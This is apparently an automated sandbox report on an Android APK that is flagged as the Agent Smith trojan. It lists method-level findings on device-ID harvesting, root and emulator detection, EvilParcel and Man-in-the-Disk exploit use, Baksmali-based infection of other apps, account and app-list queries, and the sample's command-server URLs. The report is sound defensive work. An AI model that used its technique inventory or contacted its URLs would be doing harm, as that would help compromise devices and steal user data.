Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getAndroidId:28API Call: android.provider.Settings$Secure.getString
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getDBencryptID:119API Call: android.provider.Settings$Secure.getString
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getDeviceIdForBox:133API Call: android.provider.Settings$Secure.getString
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getDeviceIdForBox:156API Call: android.provider.Settings$Secure.getString
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getDeviceIdForBox:182API Call: android.provider.Settings$Secure.getString
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getDeviceIdForGeneral:215API Call: android.provider.Settings$Secure.getString
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getDeviceIdForGeneral:240API Call: android.provider.Settings$Secure.getString
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getDeviceIdForGeneral:257API Call: android.provider.Settings$Secure.getString
Source: com.android.leech.base.bugly.util.DeviceUtil;->getAndroidId:16API Call: android.provider.Settings$Secure.getString
Source: com.android.leech.base.util.PhoneInfo;->getDeviceId:39API Call: android.provider.Settings$Secure.getString
Tries to detect QEMU emulatorShow sources
Source: Lcom/android/leech/base/bugly/util/DeviceUtil;->getRoVersion(Landroid/content/Context;)Ljava/lang/String;Method string: "qemu.sf.fake_camera"
May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)Show sources
Source: androidBinary or memory string: qemu.sf.fake_camera

HIPS / PFW / Operating System Protection Evasion:

barindex
Detected potential use of EvilParcel exploit (CVE-2017-13315 priviledge escalation)Show sources
Source: Lcom/android/leech/main/installer/impl/ReParcelMain;->doInstall(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)VMethod string: CVE-2017-13315 specific strings
Source: Lcom/android/leech/main/installer/impl/ReParcelUnMain;->unInstall(Landroid/content/Context;Ljava/lang/String;)VMethod string: CVE-2017-13315 specific strings
Detected potential use of Man-in-the-Disk vulnerability for SHAREitShow sources
Source: Lcom/android/leech/main/fix/ShareitMain;->delUpate()VMethod string: Man-in-the-Disk specific strings
Uses Baksmali/Smali (likely to infect other APKs)Show sources
Source: Lcom/android/leech/patch/janus/BinaryPatch;->startPatch(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/janus/BinaryPatch;->startPatch(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->decompile([BLjava/lang/String;Ljava/lang/String;)Z
Source: Lcom/android/leech/patch/janus/BinaryPatch;->startPatch(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/janus/BinaryPatch;->startPatch(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->compile(Ljava/lang/String;Ljava/lang/String;)Z
Source: Lcom/android/leech/patch/janus/DecompilePatch;->startPatch(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/janus/DecompilePatch;->startPatch(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->decompile([BLjava/lang/String;Ljava/lang/String;)Z
Source: Lcom/android/leech/patch/janus/DecompilePatch;->startPatch(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/janus/DecompilePatch;->startPatch(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->decompile([BLjava/lang/String;Ljava/lang/String;)Z
Source: Lcom/android/leech/patch/janus/DecompilePatch;->startPatch(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/janus/DecompilePatch;->startPatch(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->compile(Ljava/lang/String;Ljava/lang/String;)Z
Source: Lcom/android/leech/patch/baksmali/BakUpdate;->updateBakZip(Landroid/content/Context;)VMethod: Lcom/android/leech/patch/baksmali/BakUtils;->getSDBaksmali()Ljava/lang/String;
Source: Lcom/android/leech/patch/baksmali/BakUpdate;->updateBakZip(Landroid/content/Context;)VMethod: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/baksmali/BakUpdate;->updateBakZip(Landroid/content/Context;)VMethod: Lcom/android/leech/patch/baksmali/BakUtils;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/patch/baksmali/BakUpdate;->updateBakZip(Landroid/content/Context;)VMethod: Lcom/android/leech/patch/baksmali/BakUtils;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/patch/baksmali/BakUpdate;->updateBakZip(Landroid/content/Context;)VMethod: Lcom/android/leech/patch/baksmali/Baksmali;->getBakVersion(Ljava/lang/String;)J
Source: Lcom/android/leech/patch/baksmali/BakUpdate;->updateBakZip(Landroid/content/Context;)VMethod: Lcom/android/leech/patch/baksmali/Baksmali;->getBakVersion(Ljava/lang/String;)J
Source: Lcom/android/leech/patch/baksmali/BakUpdate;->updateBakZip(Landroid/content/Context;)VMethod: Lcom/android/leech/patch/baksmali/Baksmali;->getBakVersion(Ljava/lang/String;)J
Source: Lcom/android/leech/patch/baksmali/BakUpdate;->updateBakZip(Landroid/content/Context;)VMethod: Lcom/android/leech/patch/baksmali/Baksmali;->getBakVersion(Ljava/lang/String;)J
Source: Lcom/android/leech/main/UpdateMain;->doWork(Landroid/content/Context;)VMethod: Lcom/android/leech/main/loader/multidex/MultiDexExtractor;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/main/UpdateMain;->doWork(Landroid/content/Context;)VMethod: Lcom/android/leech/main/loader/multidex/MultiDexExtractor;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/main/loader/multidex/MultiDex;->parseUpdate(Landroid/content/Context;)VMethod: Lcom/android/leech/main/loader/multidex/MultiDexExtractor;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/main/loader/multidex/MultiDex;->parseUpdate(Landroid/content/Context;)VMethod: Lcom/android/leech/main/loader/multidex/MultiDexExtractor;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/patch/janus/BasePatch;->createUnPatchZip(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)VMethod: Lcom/android/leech/base/util/MutilUtils;->getBaksmaliBytes(Landroid/content/Context;)[B
Source: Lcom/android/leech/patch/FixMain;->stepBaksamli(Landroid/content/Context;)IMethod: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/FixMain;->stepBaksamli(Landroid/content/Context;)IMethod: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()Z
Source: Lcom/android/leech/patch/FixMain;->stepBaksamli(Landroid/content/Context;)IMethod: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/FixMain;->stepBaksamli(Landroid/content/Context;)IMethod: Lcom/android/leech/patch/baksmali/Baksmali;->isMatchVersion(Landroid/content/Context;)Z
Source: Lcom/android/leech/patch/FixMain;->stepBaksamli(Landroid/content/Context;)IMethod: const-string v2, "FixMain-Download Baksmali"
Source: Lcom/android/leech/patch/FixMain;->stepBaksamli(Landroid/content/Context;)IMethod: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/FixMain;->stepBaksamli(Landroid/content/Context;)IMethod: Lcom/android/leech/patch/baksmali/Baksmali;->decompile(Ljava/lang/String;Ljava/lang/String;)Z
Source: Lcom/android/leech/patch/baksmali/BaksmaliPlug;->compile(Ljava/lang/String;Ljava/lang/String;)ZMethod: Lcom/android/leech/patch/baksmali/BaksmaliPlug;->isLoad()Z
Source: Lcom/android/leech/patch/baksmali/BaksmaliPlug;->decompile(Ljava/lang/String;Ljava/lang/String;)ZMethod: Lcom/android/leech/patch/baksmali/BaksmaliPlug;->isLoad()Z
Source: Lcom/android/leech/patch/baksmali/Baksmali$1;->onResponseFailure(Ljava/lang/Exception;)VMethod: const-string v0, "Baksmali"
Source: Lcom/android/leech/patch/baksmali/BaksmaliPlug;->loadPlug(Landroid/content/Context;Ljava/lang/String;)ZMethod: const-string v4, "Baksmali"
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: Lcom/android/leech/patch/baksmali/BakUtils;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->getBakVersion(Ljava/lang/String;)J
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: iget-wide v9, p0, Lcom/android/leech/patch/baksmali/Baksmali;->minVerCode:J
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->setForceDownloadBak(Landroid/content/Context;Z)V
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: Lcom/android/leech/patch/baksmali/BakUtils;->getDownLoadBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->isMatchVersion(Ljava/lang/String;)Z
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: const-string v9, "Baksmali"
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->isMatchVersion([B)Z
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: const-string v9, "Baksmali"
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: const-string v9, "Baksmali"
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->download(Landroid/content/Context;)[B
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: const-string v9, "Baksmali"
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: const-string v9, "Baksmali"
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: const-string v11, "save to SecondaryBaksmali"
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->setForceDownloadBak(Landroid/content/Context;Z)V
Source: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()ZMethod: const-string v9, "Baksmali"
Source: Lcom/android/leech/patch/FixMain;->stepSmali(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/FixMain;->stepSmali(Landroid/content/Context;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->compile(Ljava/lang/String;Ljava/lang/String;)Z
Source: Lcom/android/leech/patch/baksmali/Baksmali;->decompile([BLjava/lang/String;Ljava/lang/String;)ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->decompile(Ljava/lang/String;Ljava/lang/String;)Z
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: sget-object v3, Lcom/android/leech/patch/baksmali/Baksmali;->_instance:Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: new-instance v3, Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: Lcom/android/leech/patch/baksmali/Baksmali;-><init>()V
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: sput-object v3, Lcom/android/leech/patch/baksmali/Baksmali;->_instance:Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: const-class v3, Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: const-string v4, "Baksmali Vercode min 10"
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: sget-object v3, Lcom/android/leech/patch/baksmali/Baksmali;->_instance:Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: Lcom/android/leech/patch/baksmali/Baksmali;->setMinVerCode(J)V
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: sget-object v3, Lcom/android/leech/patch/baksmali/Baksmali;->_instance:Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: Lcom/android/leech/patch/baksmali/BakUtils;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: Lcom/android/leech/patch/baksmali/Baksmali;->getBakVersion(Ljava/lang/String;)J
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: sget-object v3, Lcom/android/leech/patch/baksmali/Baksmali;->_instance:Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: Lcom/android/leech/patch/baksmali/Baksmali;->getMinVerCode()J
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: Lcom/android/leech/patch/baksmali/BakUtils;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: sget-object v3, Lcom/android/leech/patch/baksmali/Baksmali;->_instance:Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: Lcom/android/leech/patch/baksmali/Baksmali;->setForceDownloadBak(Landroid/content/Context;Z)V
Source: Lcom/android/leech/patch/baksmali/Baksmali;->get_instance()Lcom/android/leech/patch/baksmali/Baksmali;Method: sget-object v3, Lcom/android/leech/patch/baksmali/Baksmali;->_instance:Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/baksmali/BakResRequester;->parseResponse(Lorg/json/JSONObject;)Lcom/android/leech/base/network/BaseRequest$Response;Method: Lcom/android/leech/base/util/MutilUtils;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->tryLoad()ZMethod: Lcom/android/leech/patch/baksmali/BakUtils;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->tryLoad()ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->initBaksmaliFile()Z
Source: Lcom/android/leech/patch/baksmali/Baksmali;->tryLoad()ZMethod: Lcom/android/leech/patch/baksmali/BaksmaliPlug;->loadPlug(Landroid/content/Context;Ljava/lang/String;)Z
Source: Lcom/android/leech/patch/baksmali/Baksmali;->tryLoad()ZMethod: Lcom/android/leech/patch/baksmali/Baksmali;->setForceDownloadBak(Landroid/content/Context;Z)V
Source: Lcom/android/leech/patch/baksmali/Baksmali;->tryLoad()ZMethod: const-string v3, "Baksmali"
Source: Lcom/android/leech/base/util/MutilUtils;->getAdBytes(Landroid/content/Context;)[BMethod: Lcom/android/leech/base/util/MutilUtils;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/base/util/MutilUtils;->getBaksmaliBytes(Landroid/content/Context;)[BMethod: Lcom/android/leech/base/util/MutilUtils;->getSecondaryBaksmali(Landroid/content/Context;)Ljava/lang/String;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->getBakVersion(Ljava/lang/String;)JMethod: Lcom/android/leech/patch/baksmali/Baksmali;->getBakVerCodeByConfig([B)J
Source: Lcom/android/leech/patch/baksmali/Baksmali;->download(Landroid/content/Context;)[BMethod: const-class v2, Lcom/android/leech/patch/baksmali/Baksmali;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->download(Landroid/content/Context;)[BMethod: new-instance v0, Lcom/android/leech/patch/baksmali/Baksmali$1;
Source: Lcom/android/leech/patch/baksmali/Baksmali;->download(Landroid/content/Context;)[BMethod: Lcom/android/leech/patch/baksmali/Baksmali$1;-><init>(Lcom/android/leech/patch/baksmali/Baksmali;Landroid/content/Context;)V
Source: Lcom/android/leech/patch/baksmali/Baksmali;->getBakVersion([B)JMethod: Lcom/android/leech/patch/baksmali/Baksmali;->getBakVerCodeByConfig([B)J

Language, Device and Operating System Detection:

barindex
Checks if phone is rooted (checks for Superuser.apk)Show sources
Source: com.android.leech.base.bugly.util.DeviceUtil;->isRoot:487API Call: java.io.File.<init>("/system/app/Superuser.apk")
Source: com.android.leech.base.bugly.util.DeviceUtil;->isSuperExist:510API Call: java.io.File.<init>("/system/app/Superuser.apk")
Source: uAgent.commonsdk.internal.utils.h;->c:10API Call: java.io.File.<init>("/system/app/Superuser.apk")
Checks if phone is rooted (checks for su binary)Show sources
Source: LuAgent/commonsdk/internal/utils/h;->e()ZMethod string: "/system/bin/", "su" and API call "File.exists" in same context
Checks if phone is rooted (checks for test-keys build tags)Show sources
Source: com.android.leech.base.bugly.util.DeviceUtil;->isRoot:506API Call: java.lang.String.contains("test-keys")
Source: com.android.leech.base.bugly.util.DeviceUtil;->isSuperExist:529API Call: java.lang.String.contains("test-keys")
Source: uAgent.commonsdk.internal.utils.h;->b:8API Call: java.lang.String.contains("test-keys")
Queries the SIM provider numeric MCC+MNC (mobile country code + mobile network code)Show sources
Source: uAgent.commonsdk.internal.utils.b;->e:15API Call: android.telephony.TelephonyManager.getSimOperator
Queries the WIFI MAC addressShow sources
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getMacBySystemInterface:429API Call: android.net.wifi.WifiInfo.getMacAddress
Source: com.android.leech.base.bugly.util.DeviceUtil;->getWifiMacAddress:470API Call: android.net.wifi.WifiInfo.getMacAddress
Source: uAgent.commonsdk.utils.UMUtils;->getMac:541API Call: android.net.wifi.WifiInfo.getMacAddress
Queries the network MAC addressShow sources
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getMacByJavaAPI:411API Call: java.net.NetworkInterface.getHardwareAddress
Source: com.android.leech.base.bugly.util.DeviceUtil;->getWifiMacAddress:480API Call: java.net.NetworkInterface.getHardwareAddress
Queries the network operator nameShow sources
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getNetworkOperatorName:472API Call: android.telephony.TelephonyManager.getNetworkOperatorName
Source: uAgent.commonsdk.utils.UMUtils;->getNetworkOperatorName:600API Call: android.telephony.TelephonyManager.getNetworkOperatorName
Source: uAgent.commonsdk.utils.UMUtils;->getOperator:623API Call: android.telephony.TelephonyManager.getNetworkOperatorName
Queries the network operator numeric MCC+MNC (mobile country code + mobile network code)Show sources
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getRegisteredOperator:479API Call: android.telephony.TelephonyManager.getNetworkOperator
Source: uAgent.commonsdk.utils.UMUtils;->getRegisteredOperator:645API Call: android.telephony.TelephonyManager.getNetworkOperator
Queries the unqiue device ID (IMEI, MEID or ESN)Show sources
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getDBencryptID:115API Call: android.telephony.TelephonyManager.getDeviceId
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getIMEI:318API Call: android.telephony.TelephonyManager.getDeviceId
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getImei:335API Call: android.telephony.TelephonyManager.getDeviceId
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getImeiNew:348API Call: android.telephony.TelephonyManager.getDeviceId
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getImeiNew:349API Call: android.telephony.TelephonyManager.getDeviceId
Source: uAgent.commonsdk.statistics.common.DeviceConfig;->getImsi:356API Call: android.telephony.TelephonyManager.getSubscriberId
Source: com.android.leech.base.bugly.util.DeviceUtil;->getDeviceId:38API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.android.leech.base.bugly.util.DeviceUtil;->getIMEI:63API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.android.leech.base.bugly.util.DeviceUtil;->getSimSerialNum:447API Call: android.telephony.TelephonyManager.getSimSerialNumber
Source: com.android.leech.base.bugly.util.DeviceUtil;->getSubId:460API Call: android.telephony.TelephonyManager.getSubscriberId
Source: com.android.leech.base.bugly.util.DeviceUtil;->getSubscriberId:464API Call: android.telephony.TelephonyManager.getSubscriberId
Source: uAgent.commonsdk.internal.utils.a;->k:188API Call: android.telephony.TelephonyManager.getSubscriberId
Source: uAgent.commonsdk.internal.utils.a;->l:193API Call: android.telephony.TelephonyManager.getDeviceId
Source: uAgent.commonsdk.internal.utils.a;->l:196API Call: android.telephony.TelephonyManager.getDeviceId
Source: uAgent.commonsdk.internal.utils.k;->b:21API Call: android.telephony.TelephonyManager.getSimSerialNumber
Source: uAgent.commonsdk.utils.UMUtils;->getImsi:469API Call: android.telephony.TelephonyManager.getSubscriberId

Stealing of Sensitive Information:

barindex
Has permission to read the phones state (phone number, device IDs, active call ect.)Show sources
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Has permissions to create, read or change account settings (inlcuding account password settings)Show sources
Source: submitted apkRequest permission: android.permission.AUTHENTICATE_ACCOUNTS
Source: submitted apkRequest permission: android.permission.GET_ACCOUNTS
Queries a list of installed applicationsShow sources
Source: com.android.leech.patch.janus.util.AxmlModify;->getMainActivities:39API Call: android.content.pm.PackageManager.queryIntentActivities
Queries list of installed packagesShow sources
Source: com.android.leech.main.ad.mini.util.StartAPP;->isAvilible:56API Call: android.content.pm.PackageManager.getInstalledPackages
Source: com.android.leech.base.util.ApkInfos;->getAllAppList:5API Call: android.content.pm.PackageManager.getInstalledPackages
Source: com.android.leech.base.util.ApkInfos;->getAllInstalledApkInfo:14API Call: android.content.pm.PackageManager.getInstalledPackages
Source: com.android.leech.base.util.ApkInfos;->getAppVersionName:77API Call: android.content.pm.PackageManager.getInstalledPackages
Queries stored mail and application accounts (e.g. Gmail or Whatsup)Show sources
Source: com.android.leech.main.installer.impl.ReParcelMain;->doInstallWhatsapp:161API Call: android.accounts.AccountManager.getAccounts
Source: com.android.leech.main.installer.impl.ReParcelMain;->doInstallWhatsapp:167API Call: android.accounts.Account.type
Source: com.android.leech.main.installer.impl.ReParcelMain;->doInstallWhatsapp:172API Call: android.accounts.Account.type
Source: com.android.google.coreappx.keep.KeepAccountUtil;->isAccountExist:4API Call: android.accounts.Account.name
Queries the Googlemail Account NameShow sources
Source: com.android.leech.main.ad.mini.util.StartAPP;->openGooglePlay:114API Call: android.accounts.AccountManager.getAccountsByType
Has permission to query the current locationShow sources
Source: submitted apkRequest permission: android.permission.ACCESS_COARSE_LOCATION
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION

Remote Access Functionality:

barindex
Detected Trojan Agent SmithShow sources
Source: Lcom/android/leech/patch/janus/BasePatch;->createUnPatchZip(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)VMethod string: Agent Smith specific strings
Uses DownloadManager to fetch additional componentsShow sources
Source: com.android.leech.main.ad.mini.util.ApkPreDownHelper;->getSystemDownloadFile:74API Call: android.app.DownloadManager.enqueue
Sample Distance (10 = nearest)
10 9 8 7 6 5 4 3 2 1
Samplename Analysis ID SHA256 Similarity

Antivirus and Machine Learning Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

SourceDetectionScannerLabelLink
sdk.androidcloud.org1%virustotalBrowse

URLs

SourceDetectionScannerLabelLink
http://sdk.androidcloud.org:8091/api/sdk.ad.requestUpdate2%virustotalBrowse
http://sdk.androidcloud.org:8091/api/sdk.ad.requestUpdate0%Avira URL Cloudsafe
http://sdk.androidcloud.org:8091/api/sdk.ad.requestRes2%virustotalBrowse
http://sdk.androidcloud.org:8091/api/sdk.ad.requestRes0%Avira URL Cloudsafe
http://sdk.androidcloud.org:8091/api/sdk.ad.requestStat0%Avira URL Cloudsafe
http://gd.androidcloud.org0%Avira URL Cloudsafe
http://sdk.androidcloud.org:8091/api/sdk.ad.requestList0%Avira URL Cloudsafe
http://sdk.androidcloud.org:8091/api/sdk.ad.uploadResult0%Avira URL Cloudsafe
http://blog.bihe0832.com0%Avira URL Cloudsafe
http://sdk.androidcloud.org:8091/api/sdk.ad.requestAds0%Avira URL Cloudsafe
http://gd.androidcloud.org/api/sdk.ad.loadAds0%Avira URL Cloudsafe

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Joe Sandbox View / Context

IPs

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
64.233.166.188th.co.dtac.wificalling_2017-07-12.apkGet hashmaliciousBrowse
    pr_new.apkGet hashmaliciousBrowse
      290119265.apkGet hashmaliciousBrowse
        test.apkGet hashmaliciousBrowse
          AvitoPay.apkGet hashmaliciousBrowse
            broadlink.apkGet hashmaliciousBrowse
              k0HX2Y9c1DGet hashmaliciousBrowse
                WgJtga79h0Get hashmaliciousBrowse
                  VewJTa9y3pGet hashmaliciousBrowse
                    Kqmh3FShAAGet hashmaliciousBrowse
                      hiMFuwbikAGet hashmaliciousBrowse
                        LudoCoins.apkGet hashmaliciousBrowse
                          Certificaat.apkGet hashmaliciousBrowse
                            YNtbLvNHuoGet hashmaliciousBrowse
                              SuperMarioRun.apkGet hashmaliciousBrowse
                                cReKd8C5fwGet hashmaliciousBrowse
                                  AvitoPayx.apkGet hashmaliciousBrowse
                                    com.app.chat.messenger.apkGet hashmaliciousBrowse
                                      base.apkGet hashmaliciousBrowse
                                        pPBx4Gw320Get hashmaliciousBrowse
                                          203.119.214.125persistent_malware.apkGet hashmaliciousBrowse
                                            youmi.apkGet hashmaliciousBrowse
                                              1650037287388.apkGet hashmaliciousBrowse
                                                gpz2EuBEObGet hashmaliciousBrowse
                                                  7e4a.apkGet hashmaliciousBrowse
                                                    1733331018917.apkGet hashmaliciousBrowse
                                                      CJOEHjjYVK.apkGet hashmaliciousBrowse

                                                        Domains

                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                        pagead.l.doubleclick.nethttp://trip-suggest.com/fiji/northern/urata/Get hashmaliciousBrowse
                                                        • 172.217.168.2
                                                        http://198.54.117.200Get hashmaliciousBrowse
                                                        • 172.217.21.34
                                                        http://mobile.audible.comGet hashmaliciousBrowse
                                                        • 172.217.168.66
                                                        http://hp.myway.comGet hashmaliciousBrowse
                                                        • 172.217.168.2
                                                        http://www.fimsform.comGet hashmaliciousBrowse
                                                        • 172.217.21.98
                                                        DOC-796.pdfGet hashmaliciousBrowse
                                                        • 172.217.21.34
                                                        http://dev.interop.comGet hashmaliciousBrowse
                                                        • 216.58.215.226
                                                        http://shareddraftinfo.comGet hashmaliciousBrowse
                                                        • 216.58.207.162
                                                        http://jmf.uptpkkediri.info/zmail.php?http://info.zimbra.com/thank-you-for-email-confirmation?utm_medium=email&_hsenc=p2ANqtzCa1bdc729-a148-4578-8059-23d48b6f026fGet hashmaliciousBrowse
                                                        • 172.217.21.2
                                                        http://www.crossandbone.coGet hashmaliciousBrowse
                                                        • 172.217.168.2
                                                        BS1TIGBTEO1CK3NYM12J76B838-BYTFA19FPH9EFDSYMW1.htmlGet hashmaliciousBrowse
                                                        • 172.217.168.34
                                                        https://dtlhafstteko.de/cutt/seed/docsd/docsdrive/Get hashmaliciousBrowse
                                                        • 172.217.22.226
                                                        http://www.outlookwebapp.flazio.com/home?r=62303Get hashmaliciousBrowse
                                                        • 172.217.17.226
                                                        http://198.105.254.11Get hashmaliciousBrowse
                                                        • 216.58.207.130
                                                        Order_Format_Doc_11262017.pdfGet hashmaliciousBrowse
                                                        • 216.58.207.130
                                                        http://bankofthewest.com.eclecticacademy.com/Get hashmaliciousBrowse
                                                        • 172.217.22.226
                                                        http://examwriting.blogspot.com/2015/02/describe-person-your-best-friend.htmlGet hashmaliciousBrowse
                                                        • 172.217.20.130
                                                        Report From Fax.htmGet hashmaliciousBrowse
                                                        • 172.217.168.2
                                                        PrivateZone&Bing.apkGet hashmaliciousBrowse
                                                        • 172.217.168.2
